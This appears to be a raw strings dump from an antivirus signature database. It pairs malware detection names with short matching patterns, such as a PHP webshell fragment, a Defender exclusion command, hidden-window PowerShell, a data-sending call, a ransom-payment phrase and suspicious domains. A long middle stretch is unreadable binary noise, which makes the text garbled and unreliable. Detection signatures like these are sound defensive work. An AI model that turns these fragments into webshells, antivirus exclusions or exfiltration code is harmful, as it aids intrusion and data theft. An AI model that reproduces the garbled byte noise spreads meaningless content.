)=#!#TrojanDownloader:VBS/Genbhv.G!gc1 $!#SCPT:CodeOnly.RpivotClientServer.A )=$!#SCPT:CodeOnly.RpivotClientServer.A id_by_socket $!#SCPT:Trojan:PowerShell/Shelliece.3 )=$!#SCPT:Trojan:PowerShell/Shelliece.3 +0]*16777216 $!#SCPT:Trojan:PowerShell/Shelliece.6 )=$!#SCPT:Trojan:PowerShell/Shelliece.6 seterrormode $!#SCPT:TrojanDropper:O97M/Obfuse.DD1 )=$!#SCPT:TrojanDropper:O97M/Obfuse.DD1 importsocket )=$!#SCRIPT:TrojanDownloader:JS/Rusem.2 svchost.like $!#TrojanDownloader:JS/Nemucod!6fbd_2 )=$!#TrojanDownloader:JS/Nemucod!6fbd_2 /cpowershell %!#SCPT:Backdoor:ASP/b374kShell.A3!MTB )=%!#SCPT:Backdoor:ASP/b374kShell.A3!MTB ?dir=\"&xcwd  %!#SCPT:JS/Obfuscator.Redundancy.new.A )=%!#SCPT:JS/Obfuscator.Redundancy.new.A ==newarray(  %!#SCPT:JS/Obfuscator.Split.Alphabet.A )=%!#SCPT:JS/Obfuscator.Split.Alphabet.A stuvwxy\"+\"z  %!#SCPT:Trojan:O97M/CVE-2017-11882.CS2 )=%!#SCPT:Trojan:O97M/CVE-2017-11882.CS2 \\objautlink  %!#SCPT:TrojanDownloader:JS/Banload.M2 )=%!#SCPT:TrojanDownloader:JS/Banload.M2 =keycount(\"  %!#SCPT:TrojanDownloader:JS/Nemucod.Z5 )=%!#SCPT:TrojanDownloader:JS/Nemucod.Z5 [0]-3!=74||  %!#SCRIPT:TrojanDownloader:VBS/Rtbot.A )=%!#SCRIPT:TrojanDownloader:VBS/Rtbot.A \\booter.dat  %!#Trojan:PowerShell/Paliza.A!lnk_Dhs3 )=%!#Trojan:PowerShell/Paliza.A!lnk_Dhs3 -literalpat  &!#Obfuscator:VBS/JenxcusDZCLOVER!Lowfi )=&!#Obfuscator:VBS/JenxcusDZCLOVER!Lowfi dzclover=\" &!#SCPT:Exploit:Win32/ShellLikeHexStr.3 )=&!#SCPT:Exploit:Win32/ShellLikeHexStr.3 fe0e8eafff &!#SCPT:TrojanDownloader:JS/Nemucod.IC4 )=&!#SCPT:TrojanDownloader:JS/Nemucod.IC4 =[\"http:// )=&!#SCPT:TrojanDownloader:JS/Nemucod.SC1 this[\"\\145 this[\"\\x65 )=&!#SCPT:TrojanDownloader:JS/Nemucod.SC3 \"](\"\\u0043 )=&!#SCPT:TrojanDownloader:JS/Nemucod.SC4 \"](\"\\u006e &!#SCPT:TrojanDownloader:JS/Nemucod.val )=&!#SCPT:TrojanDownloader:JS/Nemucod.val =\"=2\";else &!#SCPT:TrojanDownloader:JS/Nemucod:Z00 )=&!#SCPT:TrojanDownloader:JS/Nemucod:Z00 =['%',\"'\", &!#SCRIPT:Exploit:SWF/CVE-2016-1010.B-6 )=&!#SCRIPT:Exploit:SWF/CVE-2016-1010.B-6 copypixels '!#SCPT:TrojanDownloader:Java/Banload.K2 )='!#SCPT:TrojanDownloader:Java/Banload.K2 force_uac '!#SCPT:TrojanDownloader:Java/Banload.K3 )='!#SCPT:TrojanDownloader:Java/Banload.K3 limparreg '!#SCPT:TrojanDownloader:O97M/Obfuse.NB2 )='!#SCPT:TrojanDownloader:O97M/Obfuse.NB2 '!#SCPT:TrojanDownloader:O97M/Powdow.SX6 )='!#SCPT:TrojanDownloader:O97M/Powdow.SX6 ).split($ '!#SCPT:TrojanDownloader:VBS/Banload.BT3 )='!#SCPT:TrojanDownloader:VBS/Banload.BT3 .runxxyyr '!#SCPT:TrojanDownloader:VBS/Donvibs.CM3 )='!#SCPT:TrojanDownloader:VBS/Donvibs.CM3 filedata= '!#SCPT:TrojanDownloader:VBS/Donvibs.CS2 )='!#SCPT:TrojanDownloader:VBS/Donvibs.CS2 '!#SCRIPT:Exploit:Win32/CVE-2012-4792-B1 )='!#SCRIPT:Exploit:Win32/CVE-2012-4792-B1 exploit() '!#Scpt:Trojan:AutoIt/AlienStart.AD5!MTB )='!#Scpt:Trojan:AutoIt/AlienStart.AD5!MTB =dllcall( (!#SCPT:Linux/Trojan.mal_attr_ChmodToExec )=(!#SCPT:Linux/Trojan.mal_attr_ChmodToExec chmod755  (!#SCPT:TrojanDownloader:JS/Swabfex_emu_3 )=(!#SCPT:TrojanDownloader:JS/Swabfex_emu_3 070B095E  (!#SCPT:TrojanDownloader:Java/Banload.G3B )=(!#SCPT:TrojanDownloader:Java/Banload.G3B p64.jpeg  (!#SCPT:TrojanDownloader:O97M/Qakbot.BKK2 )=(!#SCPT:TrojanDownloader:O97M/Qakbot.BKK2  (!#SCPT:TrojanDownloader:O97M/Qakbot.PJH1 )=(!#SCPT:TrojanDownloader:O97M/Qakbot.PJH1 c:\\grdbs  )!#SCPT:TrojanDownloader:O97M/Zloader.STO5 )=)!#SCPT:TrojanDownloader:O97M/Zloader.STO5 dtofile \tdtofile )!#Script:Trojan:JS/NemuKryptikDow.AD!MTB2 )=)!#Script:Trojan:JS/NemuKryptikDow.AD!MTB2 \t.write( *!#SCPT:Exploit:O97M/CVE-2017-11882.AV5!MTB )=*!#SCPT:Exploit:O97M/CVE-2017-11882.AV5!MTB 4d6174 +!#SCPT:Exploit:O97M/CVE-2017-11882.APR5!MTB )=+!#SCPT:Exploit:O97M/CVE-2017-11882.APR5!MTB }\\rtf +!#SCPT:Exploit:O97M/CVE-2017-11882.APR7!MTB )=+!#SCPT:Exploit:O97M/CVE-2017-11882.APR7!MTB +!#SCPT:Exploit:O97M/CVE-2017-11882.APS5!MTB )=+!#SCPT:Exploit:O97M/CVE-2017-11882.APS5!MTB  !#Shlayer1 )> #!/bin/bashcd\"$(dirname\"$bash_source\")\" )#!/bin/bashcd\"$(dirname\"$bash_source\")\" for(i=0;i!=ar2.length;i++){q=ar2[i] %for(i=0;i!=ar2.length;i++){q=ar2[i] !#SCPT:NuqelIni size01= $size01= @filedownload2= @size02= !#SCPT:Kaspersky \\kasperskylab\\kasperskyanti-virus #\\kasperskylab\\kasperskyanti-virus !#SCPT:Killav.A2 add-mppreference-exclusionpathc:\\ #add-mppreference-exclusionpathc:\\ !#RdContacts_Perm android.permission.read_contacts \"android.permission.read_contacts !#SCPT:B64PSMal.A jaaxacaapqagaccajabjacaapqagacca \"jaaxacaapqagaccajabjacaapqagacca !#SCPT:Blinky.D-1 0303000000000000c000000000000046 \"0303000000000000c000000000000046 ishelldispatch \"ishelldispatch .shellexecute(\" iswbemservicesex.execmethodasync \"iswbemservicesex.execmethodasync !#SCPT:Nebbier.AB .send(\"data=\"+ \".send(\"data=\"+ +\"&token=\"+ !#SCPT:SchTask.A1 createobject(\"schedule.service\") \"createobject(\"schedule.service\") eu.vortex-win.data.microsoft.com \"eu.vortex-win.data.microsoft.com us.vortex-win.data.microsoft.com \"us.vortex-win.data.microsoft.com !#SCRIPT:Mavil.B3 /loader/gateway.php?file=url.txt \"/loader/gateway.php?file=url.txt !#SCPT:CoreDriveAL core_project_nam !core_project_nam core_version !#SCPT:Nemucod.CL4 !ri\"+\"!pt! !!ri\"+\"!pt! !#SCPT:Webshell.V3 passthru(base64_decode($_server !passthru(base64_decode($_server !#SCRIPT:GrantType grant_type=\"authorization_code\" !grant_type=\"authorization_code\" !#SCPT:CookstoneA.Y temp_authkey_handshake_started  temp_authkey_handshake_started !#SCPT:JS/URL.exe.A  http:// ` !#SCPT:Ostracbop.C1 ishelldispatch6.namespace(\"7\")  ishelldispatch6.namespace(\"7\") !#SCPT:SanboxDetect ifwingettext(\"programmanager\")  ifwingettext(\"programmanager\") .getelementsbytagname('head');  .getelementsbytagname('head'); !#SCRIPT:Decompress .compressionmode]::decompress)  .compressionmode]::decompress) !#Trojan:VBS/Vmnat1 open(\"get\",\"http  open(\"get\",\"http P\",\"false\"); !#SCPT:/Passthru.cmd (\"passthru\")){passthru($cmd); !#SCPT:CookstoneA.AB  .mitm_manager !#SCPT:Nemucod.BAC2d //zukergames.com/counter/?a=1 !#SCPT:Sessington.AC \"invalid_plugin_entry_offset\" !#SCPT:VBS/Agent.PA3 !#AllowList:GetPhoto2 portableapps\\jhead\\jhead.exe !#SCPT:AutoItFileOpen =fileopen(@scriptfullpath,0) !#SCPT:CrackMapExec.2 .mimikatz_cmdorargs.injector !#SCPT:Droppedpulse.2 authadmin::getallauthservers !#SCPT:HTML/Phish.S14 history.pushstate({},\"\",\"#\") =iuhxa  .split( =jzqsu !#SCPT:PSWindowStyleH powershell-windowstylehidden !#SCPT:VBS/Nemucod.A2 obj.copyfile\"sg4ga\",\"fgdhfs\" !#SCRIPT:DonxRefFrag2 {document.write(\"<iframesrc= !#SCRPT:VBS/Ursnif.A2 .movefile \"+.txzip: !#ALFPER:SCPT:Wizrem.B wemonetize-global-installer !#SCPT:AMSI/EvalPacker eval(function(p,a,c,k,e,r){ !#SCPT:ClnWordsCat1_15 !#SCPT:ClnWordsCat3_11 encryptingyourowncloudfiles !#SCPT:FalsipException classamsipowershelldetector http://3gool.blogspot.com/  http://avcute.blogspot.com/ http://bnpost.blogspot.com/ http://bopdu.blogspot.com/  http://idmnfs.blogspot.com/ ='youhavetopay\"+ +\"btc'; !#SCPT:JS/case.float.A !#Worm:VBS/Jenxcus.F.2 .lnk\").targetpath=\"cmd.exe\" !#BRUTE:JAMSI:FuncN:137 .expandenvironmentstrings( !#SCPT:CVE-2019-1652-AC '\"auth_key\"value=\"(.*?)\">' !#SCPT:PDF.HasPageCount /count crophysi.ru/  fokemale.ru/  gimoguvi.ru/  tortomsk.ru/  !#SCPT:PWS:HTML/Phish_3 yourpracticewillbereviewed !#SCPT:ProxyLogonCltr_4 target=datastore['target'] !#SCPT:Redirector!RIGEK .src=\"http:/ 4X6|,t \tvhXykZ S.d0e v]`pI m6-~f  \\\t)?  \\\tF5 =k7;tS \\ !)FW  \\ !)FW NN6j^  l4$#!D y]tYI )^q^k | 5B- @q-g} YnJQE M;sFh7D\t uLV&7  \\&'^  \\*dw  \\,(p s'cXq  \\-RF \\-Tk5  \\-Tk5 H*bp& \\.EsA\tA  \\.EsA\tA ;w) J \\1gc,  \\1gc, +eeT'9R 4Iy9!4  \\4Pe  \\5qF ube+_ \\9 ,4  \\9 ,4 ZA`G: 8UFKi  \\<Ap  \\<LI \\<x0W  \\<x0W \\= =p  \\= =p \\=TPN  \\=TPN xd2]Dd xd2]DdfU8E  \\=k% Gu<-T  \\A)0 \\ADu\t  \\ADu\t hYEHI  \\GTf  \\J=$ -`nN 8 \\NCB\\r   \\NCB\\r  G#q0. \\RS$M0  \\RS$M0 k)[}u \\VZRJ}   \\VZRJ}  R@_xoqs \\WDW EY  \\WDW EY \\WzxL  \\WzxL \\ZFa-[6  \\ZqH Mw+#~v Ibu*X=>  \\[?l  \\\\#3 &C(E=~/mh  \\_R5 E}i(h  \\`yz  \\cgv &lj2 [x4W ajD+0 r:(Mk  \\pd\t  \\rW2 DyJYVW @OZQT `~>g8 \\vQv3  \\vQv3 2=)Uh =!_x4] \\x/tV  \\x/tV  \\y@, \\z(ic1+j  \\z(ic1+j  \\~S]  \\~lY y.ri\t& R~z<4%t ke-3; y+FB:::  Mg4MF aM/nPP '3E<` %9\"bK 5(8@y L~ jz QO2`C 7)>eJ v[BTB5\t pL/63 p<] 4; _ [yC RIBUTE:SIGA:Trojan:MSIL/FakeApp.S001 !#ATTRIBUTE:SIGA:Trojan:MSIL/FakeApp.S001 !#SIGA:TrojanDownloader:MSIL/Genmaldow.SA !#//JAVATTR:JavaObRandom2 !#//JAVATTR:JavaObRandom2  !#SIGATTR:IEDefaultChkOff !#SIGATTR:PhishingDisable !#SIGATTR:Win32/Small.gen !AGroup:RenosKG_regvalues !#SIGATTR:JS:blistjs_api1 !#SIGATTR:JS:blistjs_api2 !#SIGATTR:JS:blistjs_api3 !#SIGATTR:JS:blistjs_api4 !#SIGATTR:JS:blistjs_api6 !#SIGATTR:JS:blistjs_api7 !#//JAVATTR:JavaJustInetAddressgetHostName !#//SIGATTR:CVE-2012-0507.AtRefArrArgument !#SIGATTR:Java:AbstractDocument.readUnlock !#SIGATTR:Java:AccessController.getContext !#SIGATTR:Java:AtomicReferenceArray.length !#SIGATTR:Java:BufferedImage.getColorModel !#SIGATTR:Java:ByteArrayOutputStream.close !#SIGATTR:Java:ByteArrayOutputStream.reset !#SIGATTR:Java:ByteArrayOutputStream.write !#SIGATTR:Java:Collections.synchronizedMap !#SIGATTR:Java:Collections.unmodifiableMap !#SIGATTR:Java:Collections.unmodifiableSet !#SIGATTR:Java:Container.getComponentCount !#SIGATTR:Java:DataOutputStream.writeShort !#SIGATTR:Java:GroupLayout.addContainerGap !#SIGATTR:Java:IIOMetadataNode.appendChild !#SIGATTR:Java:IOException.printStackTrace +$X@? !#SIGATTR:Java:JMenuItem.addActionListener (UK@? !#SIGATTR:Java:Kernel32.CreateRemoteThread !#SIGATTR:Java:Kernel32.WriteProcessMemory !#SIGATTR:Java:LookAndFeel.installProperty !#SIGATTR:Java:ObjectOutputStream.writeInt !#SIGATTR:Java:ParsedSynthStyle.getPainter !#SIGATTR:Java:Raster.createWritableRaster !#SIGATTR:Java:StringTokenizer.countTokens !#SIGATTR:Java:SynthStyle.getGraphicsUtils !#SIGATTR:Java:ZipInputStream.getNextEntry !#SIGATTR:TrojanDownloader:Win32/Badrobo.A !#Sigattr:BrowserModifier:Win32/Diplugem.A !#PUA:Block:PremierOpinion !#Ransom:Win32/Tobfy!LowFi !#SIGATTR:FindWindowRegMon !#SIGATTR:LowFiSkypeWindow !#SIGATTR:UpatreMutexMerak !#SIGATTR:Win32/WhiteSmoke !AGROUP:RunKeyOrCopyItself !AGroup:FakeRean_regvalues !AGroup:GetHDDSerialNumber !#ALF:SIGA:MSIL.FAKEIE.S01 !#PUA:Block:AdvancedPCCare !#TEL:MSIL/Cusax.gen!A!Msg !#NRI:HasRequestResponse.A !#AddsCopyToStartupSelfDel !#//JAVATTR:JavaJustInetAddressgetLocalHost !#SIGATTR:Java:BufferedImage.createGraphics 9[F@@ !#SIGATTR:Java:Class.desiredAssertionStatus !#SIGATTR:Java:Class.getDeclaredConstructor 3VI@@ !#SIGATTR:Java:Collections.unmodifiableList !#SIGATTR:Java:ExpressionHelper.addListener !#SIGATTR:Java:GridBagLayout.setConstraints !#SIGATTR:Java:IIOMetadataNode.setAttribute !#SIGATTR:Java:InetSocketAddress.getAddress !#SIGATTR:Java:JComponent.getClientProperty !#SIGATTR:Java:NamingException.setRootCause !#SIGATTR:Java:ObjectInputStream.readFields !#SIGATTR:Java:ObjectInputStream.readObject !#SIGATTR:Java:ObjectOutputStream.putFields !#SIGATTR:Java:ParamChecks.nullNotPermitted !#SIGATTR:Java:RMIConnectionImpl_Stub.class !#SIGATTR:Java:SecurityManager.checkConnect !#SIGATTR:Java:SynthLookAndFeel.updateStyle !#SIGATTR:Java:SynthStyle.uninstallDefaults !#SIGATTR:Java:TabbedPaneTabPainter.decodeX !#SIGATTR:Java:TabbedPaneTabPainter.decodeY !#SIGATTR:Java:Thread.getContextClassLoader >7=@@ !#SIGATTR:Java:URLConnection.getInputStream P%Y75 !#SIGATTR:Java:WritableRaster.getDataBuffer !#SIGATTR:Java:X509Certificate.getPublicKey !#SIGATTR:Java:_RMIConnectionImpl_Tie.class !#ALF:SIGA:Trojan:MSIL/SuspiciousPingBeh.S6 !#ALF:SIGATTR:Inject_attrib !#BM_SIGATTR:OptimizerElite !#SIGATTR:FindWindowFileMon !#SIGATTR:FindWindowProcMon !#SIGATTR:MpLoadsKernelFile !#SIGATTR:NT_ENUM_VALUE_KEY !#SIGATTR:Tool:Win32/Py2Exe !AGroup:MoveSystemFileToAny !#SIGATTR:JSErrorDocument.A !#SIGATTR:JSWScriptIpconfig !#SIGATTR:CreateRunKey!msil !r`-^i !#//JAVATTR:JavaJustByteArrayInputStreaminit !#SIGATTR:Java:AccessController.doPrivileged !#SIGATTR:Java:Constructor.getParameterTypes !#SIGATTR:Java:CopyOnWriteArrayList.getArray P2[+, !#SIGATTR:Java:GregorianCalendar.internalGet z>e@A !#SIGATTR:Java:HttpURLConnection.setDoOutput !#SIGATTR:Java:Integer.numberOfTrailingZeros !#SIGATTR:Java:JOptionPane.showMessageDialog !#SIGATTR:Java:OptionPanePainter.decodeColor !#SIGATTR:Java:PropertyChangeEvent.getSource !#SIGATTR:Java:RTFGenerator.writeControlWord !#SIGATTR:Java:RoundRectangle2D.setRoundRect !#SIGATTR:Java:StringTokenizer.hasMoreTokens !#SIGATTR:Java:TreePath.getLastPathComponent !#Lowfi:SIGATTR:TrojanClickerClikugInstaller !#SIGATTR:TrojanDownloader:MSIL/Pstinb.M!lnk !#SIGATTR:TrojanDownloader:Win32/Banload.AZQ !#SIGATTR:TrojanDownloader:Win32/Banload.ZET !#SIGATTR:JS:ExpandEnvironmentStrings.Base64 !#ATTRIBUTE:SIGA:MISL:PossibleKillProcess:S1 !#SIGATTR:Java:B64Decoding.A !#ALFPER:SIGATTR:Win32/Chira !#Lowfi:SIGATTR:Win32/Bitral !#SIGATTR:DownloadAndExecute !#SIGATTR:Download_exec_nssd !#SIGATTR:Env_XtratWriteFile !#SIGATTR:Env_XtratWriteFile  !#SIGATTR:FirewallBypassList !#SIGATTR:FirewallBypassList  !#SIGATTR:PWS:Win32/Colste.A !#SIGATTR:PWS:Win32/Colste.A  !#SIGATTR:PossibleCopaliDrop !#SIGATTR:Reg_DelProxyServer 0;BYJ !#SIGATTR:Reg_SetProxyEnable !#SIGATTR:Virus:Win32/Ceel.A !#SIGATTR:Virus:Win32/Ceel.A*0!0 !#SIGATTR:Worm:Win32/Kolab.B !#SIGATTR:Worm:Win32/Kolab.B*0 0 !#Trojan:Win32/Foosace.H!dha !AGroup:Banload_exe_location !AGroup:MSIL/Banload.AK!path !#NRI:Dirtvantisetu.20210830 !#NRI:Dirtvantizeni.20210830 !#NRI:Dirtvantufiet.20210830 !#Trojan:Win32/Broban.A!lofi !#LowfiVBox2 !DeepEmuStop !#//SIGATTR:CVE-2013-0422.invokeWithArguments S=<@B !#SIGATTR:Java:CertificateFactory.getInstance !#SIGATTR:Java:CoderResult.malformedForLength !#SIGATTR:Java:EventListenerList.getListeners !#SIGATTR:Java:GraphicsEnvironment.isHeadless b 1@B !#SIGATTR:Java:JarInputStream.getNextJarEntry >Co@B !#SIGATTR:Java:MethodHandles.findStaticSetter !#SIGATTR:Java:NoClassDefFoundError.initCause !#SIGATTR:Java:ObjectOutputStream.writeFields !#SIGATTR:Java:ObjectOutputStream.writeObject !#SIGATTR:Java:ProtectionDomain.getCodeSource !#SIGATTR:Java:SliderThumbPainter.decodeColor !#SIGATTR:Java:StackTraceElement.getClassName P(*~{ !AGroup:CVE-2012-0422.PayloadNewClassInstance !#SIGATTR:BrowserModifier:Win32/Neobar.A!json !#TEL:SIGATTR:Tool:Win32/CmdNetFwStOpModDis.A !#Lowfi:SIGATTR:Win32/Wdfload !#SIGATTR:Adware:Win32/EoRezo !#SIGATTR:NativeDynamicImport !#SIGATTR:NativeDynamicImportJ0\t !#SIGATTR:Program:Win32/KNCTR !#SIGATTR:Reg_ActiveSetupASEP !#SIGATTR:Run_BailOnDriveType !#SIGATTR:TrojanSefnit_packer !AGroup:ALFPER:BamvledsA_Urls !AGroup:Ldpinch_B_FirewallWND !#TEL:Exploit:JS/Nelyde.B!dha !#ALF:Ransom:MSIL/Penta.B!MTB !#//SIGATTR:Java.doPrivileged !#HttpRequest !#//SIGATTR:CVE-2013-0422.getMBeanInstantiator !#SIGATTR:Java:AudioFormat.getSampleSizeInBits 3NPN3 P3NPN3@C !#SIGATTR:Java:BasicFavoritesNavigatorUI.debug !#SIGATTR:Java:BorderFactory.createEmptyBorder !#SIGATTR:Java:ClassLoader.getResourceAsStream 'Ix@C !#SIGATTR:Java:CoderResult.unmappableForLength !#SIGATTR:Java:ColorModel.isAlphaPremultiplied !#SIGATTR:Java:ExpressionHelper.removeListener !#SIGATTR:Java:IllegalAccessException.toString !#SIGATTR:Java:KeyboardFocusManager.getCurrent !#SIGATTR:Java:OptionPanePainter.decodeAnchorX !#SIGATTR:Java:OptionPanePainter.decodeAnchorY !#SIGATTR:Java:PropertyChangeEvent.getNewValue !#SIGATTR:Java:PropertyChangeEvent.getOldValue !#SIGATTR:Java:SecurityManager.checkPermission !#SIGATTR:Java:StackTraceElement.getMethodName !#SIGATTR:Java:User32.GetWindowThreadProcessId P+dJ& !#SIGATTR:Java:X509Certificate.getSerialNumber !#ALF:SIGATTR:PossibleMeterpreter_http4444port !#TEL:Trojan:Win32/LowFiContextRundllAppdata.A !#ALF:Trojan:Win32/Qbot.ZX!MTB !#SIGATTR:CeeInject_MyAppCheck !#SIGATTR:DisableGoogleUpdate1 !#SIGATTR:DisableGoogleUpdate2 !#SIGATTR:DisableGoogleUpdate3 !#SIGATTR:FindFirstFileAppData !#SIGATTR:GetSystemTimeBailout !#SIGATTR:Program:Win32/Kometa !#SIGATTR:Reg_SetManualProxies 0JM+D !#SIGATTR:Virus:Win32/Virut.BN !#SIGATTR:Virus:Win32/Virut.BN $0 !#SLFPER:EnumWindowHandleCount !#ALF:Ransom:MSIL/Fancy.MK!MTB !#ALF:SIGA:MSIL/WeirdNameApp.A !#ALF:SIGA:MSIL/WeirdNameApp.B !#ALF:SIGA:MSIL/WeirdNameApp.C !#ALF:SIGA:MSIL/WeirdNameApp.D !#ALF:SIGA:MSIL/WeirdNameApp.E !#ALF:SIGA:MSIL/WeirdNameApp.F !#ALF:SIGA:MSIL/WeirdNameApp.G !#ALF:SIGA:MSIL/WeirdNameApp.H !#ALF:SIGA:MSIL/WeirdNameApp.I !#ALF:SIGA:MSIL/WeirdNameApp.J !#ALF:SIGA:MSIL/WeirdNameApp.K !#ALF:SIGA:MSIL/WeirdNameApp.L !#ALF:SIGA:MSIL/WeirdNameApp.M !#ALF:SIGA:MSIL/WeirdNameApp.N !#ALF:SIGA:MSIL/WeirdNameApp.O !#ALF:SIGA:MSIL/WeirdNameApp.P !#ALF:SIGA:MSIL/WeirdNameApp.Q !#ALF:SIGA:MSIL/WeirdNameApp.R !#ALF:SIGA:MSIL/WeirdNameApp.S !#ALF:SIGA:MSIL/WeirdNameApp.T !#ALF:SIGA:MSIL/WeirdNameApp.U !#ALF:SIGA:MSIL/WeirdNameApp.V !#ALF:SIGA:MSIL/WeirdNameApp.W !#ALF:SIGA:MSIL/WeirdNameApp.X !#ALF:SIGA:MSIL/WeirdNameApp.Y !#ALF:SIGA:MSIL/WeirdNameApp.Z !#ATTRIBUTE:SIGA:MISL lerated-video-decode >--disable-accelerated-2d-canvas 4--disable-gl-multisampling &/prefetch:673131151 (forcecompositingmode !#ALF:AMSI3:ML:Vba:70 !#ALF:AMSI3:ML:Vba:80 !#ALF:AMSI3:ML:Vba:90 !#ALF:AMSI3:ML:Vba:95 !#ALF:AMSI3:ML:Vba:98 !#ALF:AMSI3:ML:Vba:99 !#PowerShell/PsGetClipboard.A !#//BM_OFFICE_FILE_CONTAINER !#Win32/LnkFileWithCscript.A  !#Win32/LnkFileWithCscript.A !#Win32/LnkFileWithWscript.A  !#Win32/LnkFileWithWscript.A !#ALF:AMSI3:ML:Jamsi:90 ,!#ALF:AMSI3:ML:Jamsi:90 !#ALF:AMSI3:ML:Jamsi:95 ,!#ALF:AMSI3:ML:Jamsi:95 !#ALF:AMSI3:ML:Jamsi:98 ,!#ALF:AMSI3:ML:Jamsi:98 !#ALF:AMSI3:ML:Jamsi:99 ,!#ALF:AMSI3:ML:Jamsi:99 !#ALF:Trojan:UEFI/Lotoob.B 5!#ALF:Trojan:UEFI/Lotoob.B !#TEL:AGGR:ExpDatObjLnch :!#TEL:AGGR:ExpDatObjLnch !#TEL:AGGR:ContextualPersistDropNewExePe.gen!A Y.'!#TEL:AGGR:ContextualPersistDropNewExePe.gen!A !#ALF:Win32/VBScriptWithWmiObject.A ]#6!#ALF:Win32/VBScriptWithWmiObject.A !#SLF:JarSingleFileInsideArchive.B!7zip g'<!#SLF:JarSingleFileInsideArchive.B!7zip !#SLF:LnkSingleFileInsideArchive.B!7zip g'<!#SLF:LnkSingleFileInsideArchive.B!7zip !#SLF:JarSingleFileInsideArchive.B!rar h&>!#SLF:JarSingleFileInsideArchive.B!rar !#SLF:JarSingleFileInsideArchive.B!zip h&>!#SLF:JarSingleFileInsideArchive.B!zip !#SLF:LnkSingleFileInsideArchive.B!rar h&>!#SLF:LnkSingleFileInsideArchive.B!rar !#SLF:LnkSingleFileInsideArchive.B!zip h&>!#SLF:LnkSingleFileInsideArchive.B!zip !#ALF:Win32/OfficeWithWmiObject.A i!D!#ALF:Win32/OfficeWithWmiObject.A !#SLF:Context/NonPeFileInStartUpFolder.A!js i+:!#SLF:Context/NonPeFileInStartUpFolder.A!js !#SLF:Context/NonPeFileInStartUpFolder.A!vb i+:!#SLF:Context/NonPeFileInStartUpFolder.A!vb !#SLF:Context/JarFileDownloaded.A!downloads k+<!#SLF:Context/JarFileDownloaded.A!downloads !#SLF:Context/NonPeFileInStartUpFolder.A!hta k,;!#SLF:Context/NonPeFileInStartUpFolder.A!hta !#SLF:Context/NonPeFileInStartUpFolder.A!jar k,;!#SLF:Context/NonPeFileInStartUpFolder.A!jar !#ALF:VirTool:PowerShell/MpTamperDisableFeatureWd.C p39!#ALF:VirTool:PowerShell/MpTamperDisableFeatureWd.C !#ALF:Win32/OfficeWithWmiObject.B s!N!#ALF:Win32/OfficeWithWmiObject.B !#SLF:JarSingleFileInsideArchive.A!7zip w'L!#SLF:JarSingleFileInsideArchive.A!7zip !#SLF:LnkSingleFileInsideArchive.A!7zip w'L!#SLF:LnkSingleFileInsideArchive.A!7zip !#ALF:Trojan:O97M/HiddenXlmInOfficeOXML.A w)J!#ALF:Trojan:O97M/HiddenXlmInOfficeOXML.A !#SLF:JarSingleFileInsideArchive.A!rar x&N!#SLF:JarSingleFileInsideArchive.A!rar !#SLF:JarSingleFileInsideArchive.A!zip x&N!#SLF:JarSingleFileInsideArchive.A!zip !#SLF:LnkSingleFileInsideArchive.A!rar x&N!#SLF:LnkSingleFileInsideArchive.A!rar !#SLF:LnkSingleFileInsideArchive.A!zip x&N!#SLF:LnkSingleFileInsideArchive.A!zip !#ALF:Trojan:O97M/VeryXlmInOfficeOXML.A y'N!#ALF:Trojan:O97M/VeryXlmInOfficeOXML.A !#ALF:Trojan:O97M/EncDoc.V1 \\!#ALF:Trojan:O97M/EncDoc.V1 !#ALF:Trojan:O97M/EncDoc.V2 \\!#ALF:Trojan:O97M/EncDoc.V2 !#ALF:Trojan:O97M/EncDoc.NV1 ]!#ALF:Trojan:O97M/EncDoc.NV1 !#ALF:Trojan:O97M/EncDoc.V3 `!#ALF:Trojan:O97M/EncDoc.V3 !#SLF:Context/FileInADSEdge.A _!#SLF:Context/FileInADSEdge.A !#SLF:Context/FileInADSDesktop.A  `!#SLF:Context/FileInADSDesktop.A !#SLF:Context/OfficeObjectFileAttachment.B!js -S!#SLF:Context/OfficeObjectFileAttachment.B!js !#SLF:Context/FileInADSDownload.A !a!#SLF:Context/FileInADSDownload.A !#SLF:Context/FileInADSTempFolder.A #_!#SLF:Context/FileInADSTempFolder.A !#SLF:Context/OfficeObjectFileAttachment.B!bat .T!#SLF:Context/OfficeObjectFileAttachment.B!bat !#SLF:Context/OfficeObjectFileAttachment.B!cmd .T!#SLF:Context/OfficeObjectFileAttachment.B!cmd !#SLF:Context/OfficeObjectFileAttachment.B!com .T!#SLF:Context/OfficeObjectFileAttachment.B!com !#SLF:Context/OfficeObjectFileAttachment.B!exe .T!#SLF:Context/OfficeObjectFileAttachment.B!exe !#SLF:Context/OfficeObjectFileAttachment.B!hta .T!#SLF:Context/OfficeObjectFileAttachment.B!hta !#SLF:Context/OfficeObjectFileAttachment.B!jar .T!#SLF:Context/OfficeObjectFileAttachment.B!jar !#SLF:Context/OfficeObjectFileAttachment.B!lnk .T!#SLF:Context/OfficeObjectFileAttachment.B!lnk !#SLF:Context/OfficeObjectFileAttachment.B!pif .T!#SLF:Context/OfficeObjectFileAttachment.B!pif !#SLF:Context/OfficeObjectFileAttachment.B!ps1 .T!#SLF:Context/OfficeObjectFileAttachment.B!ps1 !#SLF:Context/OfficeObjectFileAttachment.B!scr .T!#SLF:Context/OfficeObjectFileAttachment.B!scr !#SLF:Context/OfficeObjectFileAttachment.B!vbs .T!#SLF:Context/OfficeObjectFileAttachment.B!vbs !#SLF:Context/FileInADSEdge.B i!#SLF:Context/FileInADSEdge.B !#ALF:VirTool:PowerShell/MpTamperDisableFeatureWd.B 3Z!#ALF:VirTool:PowerShell/MpTamperDisableFeatureWd.B !#ALF:CMD:Trojan:Win32/TrapsDisableAV %j!#ALF:CMD:Trojan:Win32/TrapsDisableAV !#ALF:Trojan:O97M/EncDoc.NV2 y!#ALF:Trojan:O97M/EncDoc.NV2 !#SLF:Win32/CVE-2019-1367.A!payload #r!#SLF:Win32/CVE-2019-1367.A!payload !#ALF:Trojan:O97M/HiddenXlm.A !#ALF:Trojan:O97M/HiddenXlm.C !#ALF:Trojan:O97M/XlmInOfficeOXML.C !#ALF:Trojan:O97M/ContainsXlm.A !#ALF:Trojan:O97M/HiddenXlm.B !#TEL:AGGR:ZipSlip7z !#TEL:AGGR:ZipSlipJar !#TEL:AGGR:ZipSlipRar !#ALF:Trojan:O97M/EncDoc.F1 !#ALF:Trojan:O97M/EncDoc.F2 !#ALF:CMD:Trojan:Win32/TrapsDoubleExtension _#LOWFI:Lua:ContextualDropFileIE _#LOWFI:Lua:ContextualDropFileIEU( z_#LOWFI:Lua:ContextualDropFileOpera z_#LOWFI:Lua:ContextualDropFileOperaU)W _#LOWFI:Lua:ContextualDropFileChrome 